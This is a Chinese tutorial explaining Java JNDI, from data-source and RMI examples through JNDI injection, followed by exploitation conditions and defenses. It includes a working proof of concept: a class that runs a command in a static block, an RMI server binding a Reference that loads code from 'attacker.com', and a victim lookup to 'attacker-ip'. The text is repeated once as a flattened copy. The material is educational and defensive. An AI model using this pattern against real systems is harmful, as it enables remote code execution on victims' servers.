全面学习JNDI机制与注入
字数 1756 2025-08-10 12:18:01

JNDI机制与注入攻击全面解析

一、JNDI基础概念

1.1 什么是JNDI

JNDI(Java Naming and Directory Interface)是Java命名和目录接口,提供了一组统一的API,用于访问各种命名和目录服务。其核心思想是:

  • 解耦:应用程序不需要关心资源的具体实现方式
  • 屏蔽:开发者只需知道资源的位置,无需了解底层细节

1.2 JNDI核心组件

  • 命名服务(Naming Service):将名称与对象关联的系统
  • 目录服务(Directory Service):扩展的命名服务,允许对象具有属性
  • 上下文(Context):一组名称到对象的绑定关系
  • 初始上下文(Initial Context):JNDI操作的起点

二、JNDI实际应用示例

2.1 通过JNDI获取数据源

配置步骤:

  1. 在Tomcat的/conf/context.xml中配置数据源:
<Context>
  <Resource name="jndi/test" auth="Container" type="javax.sql.DataSource"
    maxActive="100" maxIdle="30" maxWait="10000" username="root" password="root"
    driverClassName="com.mysql.jdbc.Driver"
    url="jdbc:mysql://localhost:3306/test?useUnicode=true&amp;characterEncoding=utf8"/>
</Context>
  1. web.xml中引用资源:
<resource-ref>
  <description>Person Data Source</description>
  <res-ref-name>jndi/test</res-ref-name>
  <res-type>javax.sql.DataSource</res-type>
  <res-auth>Container</res-auth>
</resource-ref>
  1. 代码实现:
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup("java:comp/env/jndi/test");
Connection conn = ds.getConnection();

2.2 通过JNDI进行DNS查询

DirContext ctx = new InitialDirContext();
Attributes attrs = ctx.getAttributes("dns:/www.baidu.com", new String[]{"A"});
System.out.println(attrs.get("A"));

2.3 通过JNDI进行RMI调用

服务端实现:

// 创建RMI注册表
LocateRegistry.createRegistry(1099);
// 创建远程对象
Hello hello = new HelloImpl();
// 绑定到JNDI
Context ctx = new InitialContext();
ctx.bind("rmi:HelloService", hello);

客户端调用:

Context ctx = new InitialContext();
Hello hello = (Hello)ctx.lookup("rmi:HelloService");
String result = hello.getMsg();

三、JNDI注入攻击原理

3.1 关键类介绍

  • javax.naming.Reference:表示对象引用,包含类名和地址信息
  • com.sun.jndi.rmi.registry.ReferenceWrapper:将Reference封装为Remote对象

3.2 攻击流程

  1. 恶意服务端准备

    • 创建恶意类(包含静态代码块或构造方法中的恶意代码)
    • 使用Reference包装恶意类
    • 将ReferenceWrapper绑定到RMI注册表
  2. 客户端触发

    • 客户端执行lookup()操作
    • 服务端返回Reference对象
    • 客户端从指定URL加载恶意类
    • 恶意代码被执行

3.3 完整攻击示例

恶意类Calc.java:

import java.io.IOException;
public class calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

恶意服务端:

Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("calc", "calc", "http://attacker.com/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.rebind("HelloService", wrapper);

受害者客户端:

new InitialContext().lookup("rmi://attacker-ip:1099/HelloService");

四、JNDI注入详细分析

4.1 上下文环境构建流程

  1. InitialContext.lookup()调用
  2. 检查是否有初始上下文工厂构建器
  3. 判断name是否为URL字符串
  4. 根据scheme(如"rmi")获取对应上下文工厂
  5. 加载并实例化rmiURLContextFactory
  6. 创建JNDI上下文环境

4.2 资源解析流程

  1. 解析RMI URL并准备上下文
  2. 通过RMI协议与远程注册表通信
  3. 服务端返回ReferenceWrapper_Stub
  4. 客户端解码Reference对象
  5. 从指定URL加载恶意类
  6. 实例化恶意类触发RCE

4.3 关键点说明

  • 工厂类机制NamingManager.getObjectFactoryFromReference()负责从Reference加载工厂类
  • 类加载顺序:优先从本地classpath查找,找不到才从远程URL加载
  • 异常处理:即使工厂类转换失败,恶意代码也已执行

五、JNDI注入利用条件

  1. 网络条件

    • 目标机器能够出网访问恶意HTTP服务
    • 或能将恶意字节码上传至目标机器
  2. 可控点

    • 能够控制JNDI lookup的URL参数
  3. JDK版本限制

    • 高版本JDK需要trustURLCodebase设置为true
    • 或能控制java.rmi.server.codebase指向的URL

六、防御措施

  1. 升级JDK版本

    • JDK 6u132、7u122、8u113及以上版本默认禁用远程codebase
  2. 配置安全策略

    • 设置com.sun.jndi.rmi.object.trustURLCodebase=false
    • 设置com.sun.jndi.cosnaming.object.trustURLCodebase=false
  3. 输入验证

    • 严格校验JNDI lookup的参数
    • 禁止使用外部可控的JNDI名称
  4. 网络防护

    • 限制出站网络连接
    • 监控异常JNDI请求

七、总结

JNDI注入攻击利用了Java命名和目录服务的动态类加载机制,通过控制JNDI lookup的URL参数,诱导目标从恶意服务器加载并执行代码。理解JNDI的工作原理和攻击流程对于Java应用安全至关重要。开发者应始终遵循最小权限原则,及时更新JDK版本,并对所有外部输入进行严格验证。

JNDI机制与注入攻击全面解析 一、JNDI基础概念 1.1 什么是JNDI JNDI(Java Naming and Directory Interface)是Java命名和目录接口,提供了一组统一的API,用于访问各种命名和目录服务。其核心思想是: 解耦 :应用程序不需要关心资源的具体实现方式 屏蔽 :开发者只需知道资源的位置,无需了解底层细节 1.2 JNDI核心组件 命名服务(Naming Service) :将名称与对象关联的系统 目录服务(Directory Service) :扩展的命名服务,允许对象具有属性 上下文(Context) :一组名称到对象的绑定关系 初始上下文(Initial Context) :JNDI操作的起点 二、JNDI实际应用示例 2.1 通过JNDI获取数据源 配置步骤: 在Tomcat的 /conf/context.xml 中配置数据源: 在 web.xml 中引用资源: 代码实现: 2.2 通过JNDI进行DNS查询 2.3 通过JNDI进行RMI调用 服务端实现: 客户端调用: 三、JNDI注入攻击原理 3.1 关键类介绍 javax.naming.Reference :表示对象引用,包含类名和地址信息 com.sun.jndi.rmi.registry.ReferenceWrapper :将Reference封装为Remote对象 3.2 攻击流程 恶意服务端准备 : 创建恶意类(包含静态代码块或构造方法中的恶意代码) 使用Reference包装恶意类 将ReferenceWrapper绑定到RMI注册表 客户端触发 : 客户端执行 lookup() 操作 服务端返回Reference对象 客户端从指定URL加载恶意类 恶意代码被执行 3.3 完整攻击示例 恶意类Calc.java: 恶意服务端: 受害者客户端: 四、JNDI注入详细分析 4.1 上下文环境构建流程 InitialContext.lookup() 调用 检查是否有初始上下文工厂构建器 判断name是否为URL字符串 根据scheme(如"rmi")获取对应上下文工厂 加载并实例化 rmiURLContextFactory 创建JNDI上下文环境 4.2 资源解析流程 解析RMI URL并准备上下文 通过RMI协议与远程注册表通信 服务端返回ReferenceWrapper_ Stub 客户端解码Reference对象 从指定URL加载恶意类 实例化恶意类触发RCE 4.3 关键点说明 工厂类机制 : NamingManager.getObjectFactoryFromReference() 负责从Reference加载工厂类 类加载顺序 :优先从本地classpath查找,找不到才从远程URL加载 异常处理 :即使工厂类转换失败,恶意代码也已执行 五、JNDI注入利用条件 网络条件 : 目标机器能够出网访问恶意HTTP服务 或能将恶意字节码上传至目标机器 可控点 : 能够控制JNDI lookup的URL参数 JDK版本限制 : 高版本JDK需要 trustURLCodebase 设置为true 或能控制 java.rmi.server.codebase 指向的URL 六、防御措施 升级JDK版本 : JDK 6u132、7u122、8u113及以上版本默认禁用远程codebase 配置安全策略 : 设置 com.sun.jndi.rmi.object.trustURLCodebase=false 设置 com.sun.jndi.cosnaming.object.trustURLCodebase=false 输入验证 : 严格校验JNDI lookup的参数 禁止使用外部可控的JNDI名称 网络防护 : 限制出站网络连接 监控异常JNDI请求 七、总结 JNDI注入攻击利用了Java命名和目录服务的动态类加载机制,通过控制JNDI lookup的URL参数,诱导目标从恶意服务器加载并执行代码。理解JNDI的工作原理和攻击流程对于Java应用安全至关重要。开发者应始终遵循最小权限原则,及时更新JDK版本,并对所有外部输入进行严格验证。